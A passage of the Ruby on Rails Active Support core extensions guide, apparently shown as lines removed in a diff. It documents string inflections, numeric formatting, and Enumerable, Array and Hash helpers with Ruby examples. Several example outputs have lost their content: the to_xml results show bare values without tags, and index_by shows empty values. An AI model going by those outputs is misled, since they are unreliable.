-"invoice_lines".classify # => "InvoiceLine" -``` - -The method understands qualified table names: - -```ruby -"highrise_production.companies".classify # => "Company" -``` - -Note that `classify` returns a class name as a string. You can get the actual class object invoking `constantize` on it, explained next. - -NOTE: Defined in `active_support/core_ext/string/inflections.rb`. - -#### `constantize` - -The method `constantize` resolves the constant reference expression in its receiver: - -```ruby -"Integer".constantize # => Integer - -module M - X = 1 -end -"M::X".constantize # => 1 -``` - -If the string evaluates to no known constant, or its content is not even a valid constant name, `constantize` raises `NameError`. - -Constant name resolution by `constantize` starts always at the top-level `Object` even if there is no leading "::". - -```ruby -X = :in_Object -module M - X = :in_M - - X # => :in_M - "::X".constantize # => :in_Object - "X".constantize # => :in_Object (!) -end -``` - -So, it is in general not equivalent to what Ruby would do in the same spot, had a real constant be evaluated. - -Mailer test cases obtain the mailer being tested from the name of the test class using `constantize`: - -```ruby -# action_mailer/test_case.rb -def determine_default_mailer(name) - name.sub(/Test$/, '').constantize -rescue NameError => e - raise NonInferrableMailerError.new(name) -end -``` - -NOTE: Defined in `active_support/core_ext/string/inflections.rb`. - -#### `humanize` - -The method `humanize` tweaks an attribute name for display to end users. - -Specifically performs these transformations: - - * Applies human inflection rules to the argument. - * Deletes leading underscores, if any. - * Removes a "_id" suffix if present. - * Replaces underscores with spaces, if any. - * Downcases all words except acronyms. - * Capitalizes the first word. - -The capitalization of the first word can be turned off by setting the -+:capitalize+ option to false (default is true). - -```ruby -"name".humanize # => "Name" -"author_id".humanize # => "Author" -"author_id".humanize(capitalize: false) # => "author" -"comments_count".humanize # => "Comments count" -"_id".humanize # => "Id" -``` - -If "SSL" was defined to be an acronym: - -```ruby -'ssl_error'.humanize # => "SSL error" -``` - -The helper method `full_messages` uses `humanize` as a fallback to include -attribute names: - -```ruby -def full_messages - map { |attribute, message| full_message(attribute, message) } -end - -def full_message - ... - attr_name = attribute.to_s.tr('.', '_').humanize - attr_name = @base.class.human_attribute_name(attribute, default: attr_name) - ... -end -``` - -NOTE: Defined in `active_support/core_ext/string/inflections.rb`. - -#### `foreign_key` - -The method `foreign_key` gives a foreign key column name from a class name. To do so it demodulizes, underscores, and adds "_id": - -```ruby -"User".foreign_key # => "user_id" -"InvoiceLine".foreign_key # => "invoice_line_id" -"Admin::Session".foreign_key # => "session_id" -``` - -Pass a false argument if you do not want the underscore in "_id": - -```ruby -"User".foreign_key(false) # => "userid" -``` - -Associations use this method to infer foreign keys, for example `has_one` and `has_many` do this: - -```ruby -# active_record/associations.rb -foreign_key = options[:foreign_key] || reflection.active_record.name.foreign_key -``` - -NOTE: Defined in `active_support/core_ext/string/inflections.rb`. - -### Conversions - -#### `to_date`, `to_time`, `to_datetime` - -The methods `to_date`, `to_time`, and `to_datetime` are basically convenience wrappers around `Date._parse`: - -```ruby -"2010-07-27".to_date # => Tue, 27 Jul 2010 -"2010-07-27 23:37:00".to_time # => 2010-07-27 23:37:00 +0200 -"2010-07-27 23:37:00".to_datetime # => Tue, 27 Jul 2010 23:37:00 +0000 -``` - -`to_time` receives an optional argument `:utc` or `:local`, to indicate which time zone you want the time in: - -```ruby -"2010-07-27 23:42:00".to_time(:utc) # => 2010-07-27 23:42:00 UTC -"2010-07-27 23:42:00".to_time(:local) # => 2010-07-27 23:42:00 +0200 -``` - -Default is `:utc`. - -Please refer to the documentation of `Date._parse` for further details. - -INFO: The three of them return `nil` for blank receivers. - -NOTE: Defined in `active_support/core_ext/string/conversions.rb`. - -Extensions to `Numeric` ------------------------ - -### Bytes - -All numbers respond to these methods: - -```ruby -bytes -kilobytes -megabytes -gigabytes -terabytes -petabytes -exabytes -``` - -They return the corresponding amount of bytes, using a conversion factor of 1024: - -```ruby -2.kilobytes # => 2048 -3.megabytes # => 3145728 -3.5.gigabytes # => 3758096384 --4.exabytes # => -4611686018427387904 -``` - -Singular forms are aliased so you are able to say: - -```ruby -1.megabyte # => 1048576 -``` - -NOTE: Defined in `active_support/core_ext/numeric/bytes.rb`. - -### Time - -Enables the use of time calculations and declarations, like `45.minutes + 2.hours + 4.years`. - -These methods use Time#advance for precise date calculations when using from_now, ago, etc. -as well as adding or subtracting their results from a Time object. For example: - -```ruby -# equivalent to Time.current.advance(months: 1) -1.month.from_now - -# equivalent to Time.current.advance(years: 2) -2.years.from_now - -# equivalent to Time.current.advance(months: 4, years: 5) -(4.months + 5.years).from_now -``` - -NOTE: Defined in `active_support/core_ext/numeric/time.rb` - -### Formatting - -Enables the formatting of numbers in a variety of ways. - -Produce a string representation of a number as a telephone number: - -```ruby -5551234.to_s(:phone) -# => 555-1234 -1235551234.to_s(:phone) -# => 123-555-1234 -1235551234.to_s(:phone, area_code: true) -# => (123) 555-1234 -1235551234.to_s(:phone, delimiter: " ") -# => 123 555 1234 -1235551234.to_s(:phone, area_code: true, extension: 555) -# => (123) 555-1234 x 555 -1235551234.to_s(:phone, country_code: 1) -# => +1-123-555-1234 -``` - -Produce a string representation of a number as currency: - -```ruby -1234567890.50.to_s(:currency) # => $1,234,567,890.50 -1234567890.506.to_s(:currency) # => $1,234,567,890.51 -1234567890.506.to_s(:currency, precision: 3) # => $1,234,567,890.506 -``` - -Produce a string representation of a number as a percentage: - -```ruby -100.to_s(:percentage) -# => 100.000% -100.to_s(:percentage, precision: 0) -# => 100% -1000.to_s(:percentage, delimiter: '.', separator: ',') -# => 1.000,000% -302.24398923423.to_s(:percentage, precision: 5) -# => 302.24399% -``` - -Produce a string representation of a number in delimited form: - -```ruby -12345678.to_s(:delimited) # => 12,345,678 -12345678.05.to_s(:delimited) # => 12,345,678.05 -12345678.to_s(:delimited, delimiter: ".") # => 12.345.678 -12345678.to_s(:delimited, delimiter: ",") # => 12,345,678 -12345678.05.to_s(:delimited, separator: " ") # => 12,345,678 05 -``` - -Produce a string representation of a number rounded to a precision: - -```ruby -111.2345.to_s(:rounded) # => 111.235 -111.2345.to_s(:rounded, precision: 2) # => 111.23 -13.to_s(:rounded, precision: 5) # => 13.00000 -389.32314.to_s(:rounded, precision: 0) # => 389 -111.2345.to_s(:rounded, significant: true) # => 111 -``` - -Produce a string representation of a number as a human-readable number of bytes: - -```ruby -123.to_s(:human_size) # => 123 Bytes -1234.to_s(:human_size) # => 1.21 KB -12345.to_s(:human_size) # => 12.1 KB -1234567.to_s(:human_size) # => 1.18 MB -1234567890.to_s(:human_size) # => 1.15 GB -1234567890123.to_s(:human_size) # => 1.12 TB -1234567890123456.to_s(:human_size) # => 1.1 PB -1234567890123456789.to_s(:human_size) # => 1.07 EB -``` - -Produce a string representation of a number in human-readable words: - -```ruby -123.to_s(:human) # => "123" -1234.to_s(:human) # => "1.23 Thousand" -12345.to_s(:human) # => "12.3 Thousand" -1234567.to_s(:human) # => "1.23 Million" -1234567890.to_s(:human) # => "1.23 Billion" -1234567890123.to_s(:human) # => "1.23 Trillion" -1234567890123456.to_s(:human) # => "1.23 Quadrillion" -``` - -NOTE: Defined in `active_support/core_ext/numeric/conversions.rb`. - -Extensions to `Integer` ------------------------ - -### `multiple_of?` - -The method `multiple_of?` tests whether an integer is multiple of the argument: - -```ruby -2.multiple_of?(1) # => true -1.multiple_of?(2) # => false -``` - -NOTE: Defined in `active_support/core_ext/integer/multiple.rb`. - -### `ordinal` - -The method `ordinal` returns the ordinal suffix string corresponding to the receiver integer: - -```ruby -1.ordinal # => "st" -2.ordinal # => "nd" -53.ordinal # => "rd" -2009.ordinal # => "th" --21.ordinal # => "st" --134.ordinal # => "th" -``` - -NOTE: Defined in `active_support/core_ext/integer/inflections.rb`. - -### `ordinalize` - -The method `ordinalize` returns the ordinal string corresponding to the receiver integer. In comparison, note that the `ordinal` method returns **only** the suffix string. - -```ruby -1.ordinalize # => "1st" -2.ordinalize # => "2nd" -53.ordinalize # => "53rd" -2009.ordinalize # => "2009th" --21.ordinalize # => "-21st" --134.ordinalize # => "-134th" -``` - -NOTE: Defined in `active_support/core_ext/integer/inflections.rb`. - -Extensions to `BigDecimal` --------------------------- -### `to_s` - -The method `to_s` provides a default specifier of "F". This means that a simple call to `to_s` will result in floating point representation instead of engineering notation: - -```ruby -BigDecimal.new(5.00, 6).to_s # => "5.0" -``` - -and that symbol specifiers are also supported: - -```ruby -BigDecimal.new(5.00, 6).to_s(:db) # => "5.0" -``` - -Engineering notation is still supported: - -```ruby -BigDecimal.new(5.00, 6).to_s("e") # => "0.5E1" -``` - -Extensions to `Enumerable` --------------------------- - -### `sum` - -The method `sum` adds the elements of an enumerable: - -```ruby -[1, 2, 3].sum # => 6 -(1..100).sum # => 5050 -``` - -Addition only assumes the elements respond to `+`: - -```ruby -[[1, 2], [2, 3], [3, 4]].sum # => [1, 2, 2, 3, 3, 4] -%w(foo bar baz).sum # => "foobarbaz" -{a: 1, b: 2, c: 3}.sum # => [:b, 2, :c, 3, :a, 1] -``` - -The sum of an empty collection is zero by default, but this is customizable: - -```ruby -[].sum # => 0 -[].sum(1) # => 1 -``` - -If a block is given, `sum` becomes an iterator that yields the elements of the collection and sums the returned values: - -```ruby -(1..5).sum {|n| n * 2 } # => 30 -[2, 4, 6, 8, 10].sum # => 30 -``` - -The sum of an empty receiver can be customized in this form as well: - -```ruby -[].sum(1) {|n| n**3} # => 1 -``` - -NOTE: Defined in `active_support/core_ext/enumerable.rb`. - -### `index_by` - -The method `index_by` generates a hash with the elements of an enumerable indexed by some key. - -It iterates through the collection and passes each element to a block. The element will be keyed by the value returned by the block: - -```ruby -invoices.index_by(&:number) -# => {'2009-032' => , '2009-008' => , ...} -``` - -WARNING. Keys should normally be unique. If the block returns the same value for different elements no collection is built for that key. The last item will win. - -NOTE: Defined in `active_support/core_ext/enumerable.rb`. - -### `many?` - -The method `many?` is shorthand for `collection.size > 1`: - -```erb -<% if pages.many? %> - <%= pagination_links %> -<% end %> -``` - -If an optional block is given, `many?` only takes into account those elements that return true: - -```ruby -@see_more = videos.many? {|video| video.category == params[:category]} -``` - -NOTE: Defined in `active_support/core_ext/enumerable.rb`. - -### `exclude?` - -The predicate `exclude?` tests whether a given object does **not** belong to the collection. It is the negation of the built-in `include?`: - -```ruby -to_visit << node if visited.exclude?(node) -``` - -NOTE: Defined in `active_support/core_ext/enumerable.rb`. - -### `without` - -The method `without` returns a copy of an enumerable with the specified elements -removed: - -```ruby -["David", "Rafael", "Aaron", "Todd"].without("Aaron", "Todd") # => ["David", "Rafael"] -``` - -NOTE: Defined in `active_support/core_ext/enumerable.rb`. - -### `pluck` - -The method `pluck` returns an array based on the given key: - -```ruby -[{ name: "David" }, { name: "Rafael" }, { name: "Aaron" }].pluck(:name) # => ["David", "Rafael", "Aaron"] -``` - -NOTE: Defined in `active_support/core_ext/enumerable.rb`. - -Extensions to `Array` ---------------------- - -### Accessing - -Active Support augments the API of arrays to ease certain ways of accessing them. For example, `to` returns the subarray of elements up to the one at the passed index: - -```ruby -%w(a b c d).to(2) # => ["a", "b", "c"] -[].to(7) # => [] -``` - -Similarly, `from` returns the tail from the element at the passed index to the end. If the index is greater than the length of the array, it returns an empty array. - -```ruby -%w(a b c d).from(2) # => ["c", "d"] -%w(a b c d).from(10) # => [] -[].from(0) # => [] -``` - -The methods `second`, `third`, `fourth`, and `fifth` return the corresponding element, as do `second_to_last` and `third_to_last` (`first` and `last` are built-in). Thanks to social wisdom and positive constructiveness all around, `forty_two` is also available. - -```ruby -%w(a b c d).third # => "c" -%w(a b c d).fifth # => nil -``` - -NOTE: Defined in `active_support/core_ext/array/access.rb`. - -### Adding Elements - -#### `prepend` - -This method is an alias of `Array#unshift`. - -```ruby -%w(a b c d).prepend('e') # => ["e", "a", "b", "c", "d"] -[].prepend(10) # => [10] -``` - -NOTE: Defined in `active_support/core_ext/array/prepend_and_append.rb`. - -#### `append` - -This method is an alias of `Array#<<`. - -```ruby -%w(a b c d).append('e') # => ["a", "b", "c", "d", "e"] -[].append([1,2]) # => [[1, 2]] -``` - -NOTE: Defined in `active_support/core_ext/array/prepend_and_append.rb`. - -### Options Extraction - -When the last argument in a method call is a hash, except perhaps for a `&block` argument, Ruby allows you to omit the brackets: - -```ruby -User.exists?(email: params[:email]) -``` - -That syntactic sugar is used a lot in Rails to avoid positional arguments where there would be too many, offering instead interfaces that emulate named parameters. In particular it is very idiomatic to use a trailing hash for options. - -If a method expects a variable number of arguments and uses `*` in its declaration, however, such an options hash ends up being an item of the array of arguments, where it loses its role. - -In those cases, you may give an options hash a distinguished treatment with `extract_options!`. This method checks the type of the last item of an array. If it is a hash it pops it and returns it, otherwise it returns an empty hash. - -Let's see for example the definition of the `caches_action` controller macro: - -```ruby -def caches_action(*actions) - return unless cache_configured? - options = actions.extract_options! - ... -end -``` - -This method receives an arbitrary number of action names, and an optional hash of options as last argument. With the call to `extract_options!` you obtain the options hash and remove it from `actions` in a simple and explicit way. - -NOTE: Defined in `active_support/core_ext/array/extract_options.rb`. - -### Conversions - -#### `to_sentence` - -The method `to_sentence` turns an array into a string containing a sentence that enumerates its items: - -```ruby -%w().to_sentence # => "" -%w(Earth).to_sentence # => "Earth" -%w(Earth Wind).to_sentence # => "Earth and Wind" -%w(Earth Wind Fire).to_sentence # => "Earth, Wind, and Fire" -``` - -This method accepts three options: - -* `:two_words_connector`: What is used for arrays of length 2. Default is " and ". -* `:words_connector`: What is used to join the elements of arrays with 3 or more elements, except for the last two. Default is ", ". -* `:last_word_connector`: What is used to join the last items of an array with 3 or more elements. Default is ", and ". - -The defaults for these options can be localized, their keys are: - -| Option | I18n key | -| ---------------------- | ----------------------------------- | -| `:two_words_connector` | `support.array.two_words_connector` | -| `:words_connector` | `support.array.words_connector` | -| `:last_word_connector` | `support.array.last_word_connector` | - -NOTE: Defined in `active_support/core_ext/array/conversions.rb`. - -#### `to_formatted_s` - -The method `to_formatted_s` acts like `to_s` by default. - -If the array contains items that respond to `id`, however, the symbol -`:db` may be passed as argument. That's typically used with -collections of Active Record objects. Returned strings are: - -```ruby -[].to_formatted_s(:db) # => "null" -[user].to_formatted_s(:db) # => "8456" -invoice.lines.to_formatted_s(:db) # => "23,567,556,12" -``` - -Integers in the example above are supposed to come from the respective calls to `id`. - -NOTE: Defined in `active_support/core_ext/array/conversions.rb`. - -#### `to_xml` - -The method `to_xml` returns a string containing an XML representation of its receiver: - -```ruby -Contributor.limit(2).order(:rank).to_xml -# => -# -# -# -# 4356 -# Jeremy Kemper -# 1 -# jeremy-kemper -# -# -# 4404 -# David Heinemeier Hansson -# 2 -# david-heinemeier-hansson -# -# -``` - -To do so it sends `to_xml` to every item in turn, and collects the results under a root node. All items must respond to `to_xml`, an exception is raised otherwise. - -By default, the name of the root element is the underscored and dasherized plural of the name of the class of the first item, provided the rest of elements belong to that type (checked with `is_a?`) and they are not hashes. In the example above that's "contributors". - -If there's any element that does not belong to the type of the first one the root node becomes "objects": - -```ruby -[Contributor.first, Commit.first].to_xml -# => -# -# -# -# 4583 -# Aaron Batalion -# 53 -# aaron-batalion -# -# -# Joshua Peek -# 2009-09-02T16:44:36Z -# origin/master -# 2009-09-02T16:44:36Z -# Joshua Peek -# -# 190316 -# false -# Kill AMo observing wrap_with_notifications since ARes was only using it -# 723a47bfb3708f968821bc969a9a3fc873a3ed58 -# -# -``` - -If the receiver is an array of hashes the root element is by default also "objects": - -```ruby -[{a: 1, b: 2}, {c: 3}].to_xml -# => -# -# -# -# 2 -# 1 -# -# -# 3 -# -# -``` - -WARNING. If the collection is empty the root element is by default "nil-classes". That's a gotcha, for example the root element of the list of contributors above would not be "contributors" if the collection was empty, but "nil-classes". You may use the `:root` option to ensure a consistent root element. - -The name of children nodes is by default the name of the root node singularized. In the examples above we've seen "contributor" and "object". The option `:children` allows you to set these node names. - -The default XML builder is a fresh instance of `Builder::XmlMarkup`. You can configure your own builder via the `:builder` option. The method also accepts options like `:dasherize` and friends, they are forwarded to the builder: - -```ruby -Contributor.limit(2).order(:rank).to_xml(skip_types: true) -# => -# -# -# -# 4356 -# Jeremy Kemper -# 1 -# jeremy-kemper -# -# -# 4404 -# David Heinemeier Hansson -# 2 -# david-heinemeier-hansson -# -# -``` - -NOTE: Defined in `active_support/core_ext/array/conversions.rb`. - -### Wrapping - -The method `Array.wrap` wraps its argument in an array unless it is already an array (or array-like). - -Specifically: - -* If the argument is `nil` an empty array is returned. -* Otherwise, if the argument responds to `to_ary` it is invoked, and if the value of `to_ary` is not `nil`, it is returned. -* Otherwise, an array with the argument as its single element is returned. - -```ruby -Array.wrap(nil) # => [] -Array.wrap([1, 2, 3]) # => [1, 2, 3] -Array.wrap(0) # => [0] -``` - -This method is similar in purpose to `Kernel#Array`, but there are some differences: - -* If the argument responds to `to_ary` the method is invoked. `Kernel#Array` moves on to try `to_a` if the returned value is `nil`, but `Array.wrap` returns an array with the argument as its single element right away. -* If the returned value from `to_ary` is neither `nil` nor an `Array` object, `Kernel#Array` raises an exception, while `Array.wrap` does not, it just returns the value. -* It does not call `to_a` on the argument, if the argument does not respond to +to_ary+ it returns an array with the argument as its single element. - -The last point is particularly worth comparing for some enumerables: - -```ruby -Array.wrap(foo: :bar) # => [{:foo=>:bar}] -Array(foo: :bar) # => [[:foo, :bar]] -``` - -There's also a related idiom that uses the splat operator: - -```ruby -[*object] -``` - -which in Ruby 1.8 returns `[nil]` for `nil`, and calls to `Array(object)` otherwise. (Please if you know the exact behavior in 1.9 contact fxn.) - -Thus, in this case the behavior is different for `nil`, and the differences with `Kernel#Array` explained above apply to the rest of `object`s. - -NOTE: Defined in `active_support/core_ext/array/wrap.rb`. - -### Duplicating - -The method `Array#deep_dup` duplicates itself and all objects inside -recursively with Active Support method `Object#deep_dup`. It works like `Array#map` with sending `deep_dup` method to each object inside. - -```ruby -array = [1, [2, 3]] -dup = array.deep_dup -dup[1][2] = 4 -array[1][2] == nil # => true -``` - -NOTE: Defined in `active_support/core_ext/object/deep_dup.rb`. - -### Grouping - -#### `in_groups_of(number, fill_with = nil)` - -The method `in_groups_of` splits an array into consecutive groups of a certain size. It returns an array with the groups: - -```ruby -[1, 2, 3].in_groups_of(2) # => [[1, 2], [3, nil]] -``` - -or yields them in turn if a block is passed: - -```html+erb -<% sample.in_groups_of(3) do |a, b, c| %> - - <%= a %> - <%= b %> - <%= c %> - -<% end %> -``` - -The first example shows `in_groups_of` fills the last group with as many `nil` elements as needed to have the requested size. You can change this padding value using the second optional argument: - -```ruby -[1, 2, 3].in_groups_of(2, 0) # => [[1, 2], [3, 0]] -``` - -And you can tell the method not to fill the last group passing `false`: - -```ruby -[1, 2, 3].in_groups_of(2, false) # => [[1, 2], [3]] -``` - -As a consequence `false` can't be a used as a padding value. - -NOTE: Defined in `active_support/core_ext/array/grouping.rb`. - -#### `in_groups(number, fill_with = nil)` - -The method `in_groups` splits an array into a certain number of groups. The method returns an array with the groups: - -```ruby -%w(1 2 3 4 5 6 7).in_groups(3) -# => [["1", "2", "3"], ["4", "5", nil], ["6", "7", nil]] -``` - -or yields them in turn if a block is passed: - -```ruby -%w(1 2 3 4 5 6 7).in_groups(3) {|group| p group} -["1", "2", "3"] -["4", "5", nil] -["6", "7", nil] -``` - -The examples above show that `in_groups` fills some groups with a trailing `nil` element as needed. A group can get at most one of these extra elements, the rightmost one if any. And the groups that have them are always the last ones. - -You can change this padding value using the second optional argument: - -```ruby -%w(1 2 3 4 5 6 7).in_groups(3, "0") -# => [["1", "2", "3"], ["4", "5", "0"], ["6", "7", "0"]] -``` - -And you can tell the method not to fill the smaller groups passing `false`: - -```ruby -%w(1 2 3 4 5 6 7).in_groups(3, false) -# => [["1", "2", "3"], ["4", "5"], ["6", "7"]] -``` - -As a consequence `false` can't be a used as a padding value. - -NOTE: Defined in `active_support/core_ext/array/grouping.rb`. - -#### `split(value = nil)` - -The method `split` divides an array by a separator and returns the resulting chunks. - -If a block is passed the separators are those elements of the array for which the block returns true: - -```ruby -(-5..5).to_a.split { |i| i.multiple_of?(4) } -# => [[-5], [-3, -2, -1], [1, 2, 3], [5]] -``` - -Otherwise, the value received as argument, which defaults to `nil`, is the separator: - -```ruby -[0, 1, -5, 1, 1, "foo", "bar"].split(1) -# => [[0], [-5], [], ["foo", "bar"]] -``` - -TIP: Observe in the previous example that consecutive separators result in empty arrays. - -NOTE: Defined in `active_support/core_ext/array/grouping.rb`. - -Extensions to `Hash` --------------------- - -### Conversions - -#### `to_xml` - -The method `to_xml` returns a string containing an XML representation of its receiver: - -```ruby -{"foo" => 1, "bar" => 2}.to_xml -# => -# -# -# 1 -# 2 -# -``` - -To do so, the method loops over the pairs and builds nodes that depend on the _values_. Given a pair `key`, `value`: - -* If `value` is a hash there's a recursive call with `key` as `:root`. - -* If `value` is an array there's a recursive call with `key` as `:root`, and `key` singularized as `:children`. - -* If `value` is a callable object it must expect one or two arguments. Depending on the arity, the callable is invoked with the `options` hash as first argument with `key` as `:root`, and `key` singularized as second argument. Its return value becomes a new node. - -* If `value` responds to `to_xml` the method is invoked with `key` as `:root`. - -* Otherwise, a node with `key` as tag is created with a string representation of `value` as text node. If `value` is `nil` an attribute "nil" set to "true" is added. Unless the option `:skip_types` exists and is true, an attribute "type" is added as well according to the following mapping: - -```ruby -XML_TYPE_NAMES = { - "Symbol" => "symbol", - "Integer" => "integer", - "BigDecimal" => "decimal", - "Float" => "float", - "TrueClass" => "boolean", - "FalseClass" => "boolean", - "Date" => "date", - "DateTime" => "datetime", - "Time" => "datetime" -} -``` - -By default the root node is "hash", but that's configurable via the `:root` option. - -The default XML builder is a fresh instance of `Builder::XmlMarkup`. You can configure your own builder with the `:builder` option. The method also accepts options like `:dasherize` and friends, they are forwarded to the builder. - -NOTE: Defined in `active_support/core_ext/hash/conversions.rb`. - -### Merging - -Ruby has a built-in method `Hash#merge` that merges two hashes: - -```ruby -{a: 1, b: 1}.merge(a: 0, c: 2) -# => {:a=>0, :b=>1, :c=>2} -``` - -Active Support defines a few more ways of merging hashes that may be convenient. - -#### `reverse_merge` and `reverse_merge!` - -In case of collision the key in the hash of the argument wins in `merge`. You can support option hashes with default values in a compact way with this idiom: - -```ruby -options = {length: 30, omission: "..."}.merge(options) -``` - -Active Support defines `reverse_merge` in case you prefer this alternative notation: - -```ruby -options = options.reverse_merge(length: 30, omission: "...") -``` - -And a bang version `reverse_merge!` that performs the merge in place: - -```ruby -options.reverse_merge!(length: 30, omission: "...") -``` - -WARNING. Take into account that `reverse_merge!` may change the hash in the caller, which may or may not be a good idea. - -NOTE: Defined in `active_support/core_ext/hash/reverse_merge.rb`. - -#### `reverse_update` - -The method `reverse_update` is an alias for `reverse_merge!`, explained above. - -WARNING. Note that `reverse_update` has no bang. - -NOTE: Defined in `active_support/core_ext/hash/reverse_merge.rb`. - -#### `deep_merge` and `deep_merge!` - -As you can see in the previous example if a key is found in both hashes the value in the one in the argument wins. - -Active Support defines `Hash#deep_merge`. In a deep merge, if a key is found in both hashes and their values are hashes in turn, then their _merge_ becomes the value in the resulting hash: - -```ruby -{a: {b: 1}}.deep_merge(a: {c: 2}) -# => {:a=>{:b=>1, :c=>2}} -``` - -The method `deep_merge!` performs a deep merge in place. - -NOTE: Defined in `active_support/core_ext/hash/deep_merge.rb`. - -### Deep duplicating - -The method `Hash#deep_dup` duplicates itself and all keys and values -inside recursively with Active Support method `Object#deep_dup`. It works like `Enumerator#each_with_object` with sending `deep_dup` method to each pair inside. - -```ruby -hash = { a: 1, b: { c: 2, d: [3, 4] } } - -dup = hash.deep_dup -dup[:b][:e] = 5 -dup[:b][:d] << 5 - -hash[:b][:e] == nil # => true -hash[:b][:d] == [3, 4] # => true -``` - -NOTE: Defined in `active_support/core_ext/object/deep_dup.rb`. - -### Working with Keys - -#### `except` and `except!` - -The method `except` returns a hash with the keys in the argument list removed, if present: - -```ruby -{a: 1, b: 2}.except(:a) # => {:b=>2} -``` - -If the receiver responds to `convert_key`, the method is called on each of the arguments. This allows `except` to play nice with hashes with indifferent access for instance: - -```ruby -{a: 1}.with_indifferent_access.except(:a) # => {} -{a: 1}.with_indifferent_access.except("a") # => {} -``` - -There's also the bang variant `except!` that removes keys in the very receiver. - -NOTE: Defined in `active_support/core_ext/hash/except.rb`. - -#### `transform_keys` and `transform_keys!` - -The method `transform_keys` accepts a block and returns a hash that has applied the block operations to each of the keys in the receiver: - -```ruby -{nil => nil, 1 => 1, a: :a}.transform_keys { |key| key.to_s.upcase } -# => {"" => nil, "1" => 1, "A" => :a} -``` - -In case of key collision, one of the values will be chosen. The chosen value may not always be the same given the same hash: - -```ruby -{"a" => 1, a: 2}.transform_keys { |key| key.to_s.upcase } -# The result could either be -# => {"A"=>2} -# or -# => {"A"=>1} -``` - -This method may be useful for example to build specialized conversions. For instance `stringify_keys` and `symbolize_keys` use `transform_keys` to perform their key conversions: - -```ruby -def stringify_keys - transform_keys { |key| key.to_s } -end -... -def symbolize_keys - transform_keys { |key| key.to_sym rescue key } -end -``` - -There's also the bang variant `transform_keys!` that applies the block operations to keys in the very receiver. - -Besides that, one can use `deep_transform_keys` and `deep_transform_keys!` to perform the block operation on all the keys in the given hash and all the hashes nested into it. An example of the result is: - -```ruby -{nil => nil, 1 => 1, nested: {a: 3, 5 => 5}}.deep_transform_keys { |key| key.to_s.upcase } -# => {""=>nil, "1"=>1, "NESTED"=>{"A"=>3, "5"=>5}} -``` - -NOTE: Defined in `active_support/core_ext/hash/keys.rb`. - -#### `stringify_keys` and `stringify_keys!` - -The method `stringify_keys` returns a hash that has a stringified version of the keys in the receiver. It does so by sending `to_s` to them: - -```ruby -{nil => nil, 1 => 1, a: :a}.stringify_keys -# => {"" => nil, "1" => 1, "a" => :a} -``` - -In case of key collision, one of the values will be chosen. The chosen value may not always be the same given the same hash: - -```ruby -{"a" => 1, a: 2}.stringify_keys -# The result could either be -# => {"a"=>2} -# or -# => {"a"=>1} -``` - -This method may be useful for example to easily accept both symbols and strings as options. For instance `ActionView::Helpers::FormHelper` defines: - -```ruby -def to_check_box_tag(options = {}, checked_value = "1", unchecked_value = "0") - options = options.stringify_keys - options["type"] = "checkbox" - ... -end -``` - -The second line can safely access the "type" key, and let the user to pass either `:type` or "type". - -There's also the bang variant `stringify_keys!` that stringifies keys in the very receiver. - -Besides that, one can use `deep_stringify_keys` and `deep_stringify_keys!` to stringify all the keys in the given hash and all the hashes nested into it. An example of the result is: - -```ruby -{nil => nil, 1 => 1, nested: {a: 3, 5 => 5}}.deep_stringify_keys -# => {""=>nil, "1"=>1, "nested"=>{"a"=>3, "5"=>5}} -``` - -NOTE: Defined in `active_support/core_ext/hash/keys.rb`. - -#### `symbolize_keys` and `symbolize_keys!` - -The method `symbolize_keys` returns a hash that has a symbolized version of the keys in the receiver, where possible. It does so by sending `to_sym` to them: - -```ruby -{nil => nil, 1 => 1, "a" => "a"}.symbolize_keys -# => {nil=>nil, 1=>1, :a=>"a"} -``` - -WARNING. Note in the previous example only one key was symbolized. - -In case of key collision, one of the values will be chosen. The chosen value may not always be the same given the same hash: - -```ruby -{"a" => 1, a: 2}.symbolize_keys -# The result could either be -# => {:a=>2} -# or -# => {:a=>1} -``` - -This method may be useful for example to easily accept both symbols and strings as options. For instance `ActionController::UrlRewriter` defines - -```ruby -def rewrite_path(options) - options = options.symbolize_keys - options.update(options[:params].symbolize_keys) if options[:params] - ... -end -``` - -The second line can safely access the `:params` key, and let the user to pass either `:params` or "params". - -There's also the bang variant `symbolize_keys!` that symbolizes keys in the very receiver. - -Besides that, one can use `deep_symbolize_keys` and `deep_symbolize_keys!` to symbolize all the keys in the given hash and all the hashes nested into it. An example of the result is: - -```ruby -{nil => nil, 1 => 1, "nested" => {"a" => 3, 5 => 5}}.deep_symbolize_keys -# => {nil=>nil, 1=>1, nested:{a:3, 5=>5}} -``` - -NOTE: Defined in `active_support/core_ext/hash/keys.rb`. - -#### `to_options` and `to_options!` - -The methods `to_options` and `to_options!` are respectively aliases of `symbolize_keys` and `symbolize_keys!`. - -NOTE: Defined in `active_support/core_ext/hash/keys.rb`. - -#### `assert_valid_keys` - -The method `assert_valid_keys` receives an arbitrary number of arguments, and checks whether the receiver has any key outside that white list. If it does `ArgumentError` is raised. - -```ruby -{a: 1}.assert_valid_keys(:a) # passes -{a: 1}.assert_valid_keys("a") # ArgumentError -``` - -Active Record does not accept unknown options when building associations, for example. It implements that control via `assert_valid_keys`. - -NOTE: Defined in `active_support/core_ext/hash/keys.rb`. - -### Working with Values - -#### `transform_values` && `transform_values!` - -The method `transform_values` accepts a block and returns a hash that has applied the block operations to each of the values in the receiver. - -```ruby -{ nil => nil, 1 => 1, :x => :a }.transform_values { |value| value.to_s.upcase } -# => {nil=>"", 1=>"1", :x=>"A"} -``` -There's also the bang variant `transform_values!` that applies the block operations to values in the very receiver. - -NOTE: Defined in `active_support/core_ext/hash/transform_values.rb`. - -### Slicing - -Ruby has built-in support for taking slices out of strings and arrays. Active Support extends slicing to hashes: - -```ruby -{a: 1, b: 2, c: 3}.slice(:a, :c) -# => {:a=>1, :c=>3} - -{a: 1, b: 2, c: 3}.slice(:b, :X) -# => {:b=>2} # non-existing keys are ignored -``` - -If the receiver responds to `convert_key` keys are normalized: - -```ruby -{a: 1, b: 2}.with_indifferent_access.slice("a") -# => {:a=>1} -``` - -NOTE. Slicing may come in handy for sanitizing option hashes with a white list of keys. - -There's also `slice!` which in addition to perform a slice in place returns what's removed: - -```ruby -hash = {a: 1, b: 2} -rest = hash.slice!(:a) # => {:b=>2} -hash # => {:a=>1} -``` - -NOTE: Defined in `active_support/core_ext/hash/slice.rb`. - -### Extracting - -The method `extract!` removes and returns the key/value pairs matching the given keys. - -```ruby -hash = {a: 1, b: 2} -rest = hash.extract!(:a) # => {:a=>1} -hash # => {:b=>2} -``` - -The method `extract!` returns the same subclass of Hash, that the receiver is. - -```ruby -hash = {a: 1, b: 2}.with_indifferent_access -rest = hash.extract!(:a).class -# => 